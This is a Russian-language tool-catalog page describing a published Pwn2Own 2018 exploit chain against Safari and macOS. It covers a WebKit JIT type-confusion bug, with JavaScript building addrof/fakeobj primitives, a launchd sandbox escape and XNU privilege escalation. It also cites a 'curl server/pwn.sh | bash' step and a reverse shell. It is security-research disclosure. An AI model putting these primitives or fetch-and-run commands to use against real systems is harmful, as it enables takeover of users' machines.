Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pwn2own2018 — A Pwn2Own exploit chain | Kitploit
Инструменты/GitHubGitHub/saelo/pwn2own2018
Повышение привилегийАнализ уязвимостейЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own exploit chain

Репозиторий
759112687 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pwn2Own 2018: Safari + macOS

RCE в Safari, выход из песочницы и LPE до ядра для macOS 10.13.3.

Использование

Установите nasm и tornado:

brew install nasm
pip3 install tornado

Проверьте config.py, если хотите изменить хост или порты. Затем запустите сервер с помощью ./server.py и перейдите по показанному URL.

Обзор

Эта цепочка эксплойтов использует три разные ошибки, чтобы перейти от выполнения JavaScript-кода внутри Safari к выполнению кода в режиме ядра:

  1. Некорректная оптимизация в JIT-компиляторе DFG, которую можно использовать для создания путаницы типов (type confusion)
  2. Отсутствие проверок песочницы в launchd, позволяющее процессам в песочнице запускать произвольные (не изолированные) процессы
  3. Логическая ошибка в XNU, позволяющая процессу переопределять бутстрап-порт своих дочерних процессов, что приводит к ситуации MitM (человек посередине) в IPC

Цепочка эксплойтов реализована в виде шести стадий, каждая из которых находится в своём подкаталоге:

  • stage0/: эксплойт для WebKit
  • stage1/: полезная нагрузка первой стадии, написанная на ассемблере
  • stage2/: полезная нагрузка второй стадии для выхода из песочницы
  • stage3/: shell-скрипты для координации остальных стадий
  • stage4/: LPE для получения прав root
  • stage5/: LPE для получения выполнения кода в ядре
  • libspc/: повторная реализация протокола XPC, используемая стадиями 2, 4 и 5

Каждый подкаталог (за исключением libspc/) содержит файл make.py, который при выполнении запускает все необходимые команды сборки и создаёт список файлов, которые будут раздаваться веб-сервером.

Стадия 0

Цель: добиться выполнения шелл-кода внутри изолированного процесса WebContent
Используемая ошибка: некорректная оптимизация в JIT-компиляторе DFG
См. также этот доклад на BlackHat

JIT-компилятор DFG представляет JavaScript-код в своём собственном промежуточном представлении (IR) — графе потока данных (Data Flow Graph, DFG). Обычно одно JavaScript-выражение транслируется в одну или несколько IR-инструкций в этом графе. В случае функции-конструктора генерируется инструкция CreateThis, которая отвечает за выделение объекта this, создаваемого функцией. Например, функция function Consructor() {} при вызове с new была бы примерно транслирована в

v0 = CreateThis
return v0

Посмотрев на AbstractInterpreter, можно увидеть, что JIT-компилятор DFG предполагает, что операция CreateThis не вызовет никаких побочных эффектов, кроме выделения памяти в куче. В самом деле, этот код:

function Constructor(obj) {
    return obj.x;
}

будет примерно транслирован в следующие DFG-инструкции: (Здесь инструкция StructureCheck была перемещена в начало функции фазой TypeCheckHoistingPhase).

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Однако это предположение неверно, поскольку код на медленном пути (slow-path) для CreateThis в некоторых случаях может выполнять произвольный JavaScript-код. В частности, при использовании Proxy вокруг реальной функции ловушка get для свойства «prototype» будет вызвана во время обработчика медленного пути для CreateThis, поскольку ему нужно получить объект-прототип для создаваемого объекта:

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Таким образом, теперь можно изменить Structure объекта без выполнения JIT-компилятором bailout.

Эту ошибку можно использовать для создания примитивов addrof и fakeobj следующим образом:

addrof

Мы компилируем код для случая JSArray с распакованными (unboxed) double-элементами, а затем в колбэке переключаемся на элементы JSValue. После этого JIT-код загрузит JSValue из массива, но интерпретирует эти биты как double и вернёт их нам. Следующий код присвоит адрес leakme свойству «address» создаваемого объекта.

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Здесь мы действуем, по сути, наоборот: мы оптимизируем код для записи double в массив с распакованными (unboxed) double-элементами, а затем снова переключаемся на элементы JSValue в колбэке. Код продолжит записывать контролируемый нами double в распакованном виде в backing storage. Когда мы позже обратимся к этому элементу массива, он интерпретирует эти биты как JSValue, а не как double. Следующий код запишет распакованный double address в backing buffer массива a, откуда мы затем сможем прочитать его как JSValue, что позволяет нам «внедрять» JSValue по нашему выбору в движок.

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

В итоге мы получаем возможность записать double и интерпретировать его как указатель на JSObject, и наоборот. Это можно эксплуатировать, как описано в атаке на JavaScript-движки.

Эксплойт сначала добивается произвольного чтения/записи памяти процесса, подделывая Float64Array, затем ищет JIT-область (отображённую с правами RWX) и записывает туда шелл-код стадии 1.

Стадия 1

Цель: запустить стадию 2, записав .dylib на диск и загрузив его через dlopen()

Короткая полезная нагрузка на ассемблере, которая, по сути, делает следующее:

  1. Вызвать confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR), чтобы получить путь к доступному для записи каталогу
  2. Создать новый файл с именем 'x.dylib' в доступном для записи каталоге
  3. Записать dylib стадии 2 в только что созданный файл
  4. Загрузить dylib в процесс WebContent через dlopen()

Стадия 2

Цель: выйти из песочницы
Используемая ошибка: отсутствие проверок песочницы в API «legacy_spawn» в launchd
См. также этот доклад

Launchd предоставляет RPC-эндпоинт «legacy_spawn» как процедуру 817 в подсистеме 3. Этот API не проверяет, разрешено ли вызывающему процессу запускать процессы, и просто выполняет execve любого бинарника в системе от имени вызывающего с контролируемыми аргументами. Поскольку до launchd можно добраться через бутстрап-порт, это делает возможным выход из песочницы.

Эксплойт, по сути, выполняет curl server/pwn.sh | bash и таким образом передаёт управление стадии 3.

Стадия 3

Цель: запустить калькулятор (pop calc) и подготовить запуск остальных стадий

Эта стадия выполняет open /Applications/Calculator.app и устанавливает reverse shell, затем загружает все файлы, необходимые для остальных стадий, и запускает эксплойты.

Стадия 4

Цель: получить права root с помощью LPE-эксплойта
Используемая ошибка: MitM через бутстрап-порт в XNU
См. также этот доклад на POC

Скачать инструмент